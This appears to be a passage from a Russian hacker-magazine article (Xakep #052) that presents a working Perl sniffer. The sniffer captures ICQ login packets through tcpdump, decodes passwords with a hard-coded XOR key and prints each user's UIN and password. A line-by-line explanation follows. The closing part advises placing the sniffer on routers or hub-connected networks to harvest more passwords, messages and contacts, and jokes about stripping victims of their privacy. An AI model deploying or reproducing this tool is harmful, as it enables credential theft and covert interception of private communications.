|
Перехват ICQ паролей Константин Клягин Xakep, номер #052, стр. 052-082-5 my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92"; for(my $i = 0; $i < length($pass); $i++) { $res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1))); } return $res; } my $buf; open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|") or die "cannot run tcpdump(8)"; while(!eof(DUMP)) { $buf .= getc(DUMP); if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$/) { my $uin = $1; my $pass = decryptpassword($2); print "found. $uin :: $pass\n"; $buf = ""; } } close(DUMP); Готовый снифер занимает 37 строк. Краткий обзор его жизнедеятельности: 1. open(DUMP, ..) запускает tcpdump с нужными нам параметрами. Символ "|" в конце команды говорит, что вывод программы будет перенаправлен и ассоциирован с символом DUMP, который ведет себя как обычный файл, открытый на чтение. Если запуск не удался, конструкция "or die" завершит выполнение программы с указанным сообщением об ошибке. 2. Весь процесс выполняется внутри цикла while(!eof(DUMP)) - пока не завершится программа, которая закроет за собой и поток DUMP. 3. Поток вычитывается посимвольно с помощью функции getc(). Все полученные байты складываются в буфер - $buf. Как только в нем обнаруживается логин-пакет, срабатывает if(), который проверяет соответствие накопленной последовательности регулярному выражению, построенному на основе собранной нами выше информации о протоколе. "Привязывается" оно к сигнатуре в конце и к неизменным байтам в начале пакета, за которыми следует UIN. "\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$" 4. Взятые в скобки части выражения автоматически помещаются в позиционно-зависимые переменные $1 и $2. UIN и пароль у нас в кармане. Для расшифровки последнего имеется небольшая функция decryptpassword(), написанная по мотивам наших экспериментов с xor во время разбора структуры протокола. 5. После показа отловленного пароля, буфер очищается и злобный снифер продолжает работу, лишая законопослушных граждан приватности и веры в справедливость. Разбор полетов По большому счету продемонстрированный подход к анализу сетевого трафика можно применить по отношению к любому протоколу. С помощью подобных надстроек можно отлавливать не только пароли, но и сообщения, контакты, шифровки, явки и адреса конспиративных квартир. Все, о чем нужно позаботиться, это правильное регулярное выражение и параметр-условие для tcpdump. Для достижения хороших результатов, величина которых прямо пропорциональна количеству отловленных паролей, программу желательно запускать на машинах, выполняющих в сети роль роутера, и через которые проходит максимальный сетевой трафик. С другой стороны, при определенной конфигурации внутренней интранет-сети, снифер можно поставить просто на одной из машин, и он тоже будет неплохо справляться со своей работой, так как весь трафик будет доступен на сетевом интерфейсе каждой из рабочих станций в сети. Такое происходит только в том случае, если все рабочие станции и шнур от ISP завязаны друг с другом через HUB. Так что экспериментируй, находи новые методы анализа трафика! |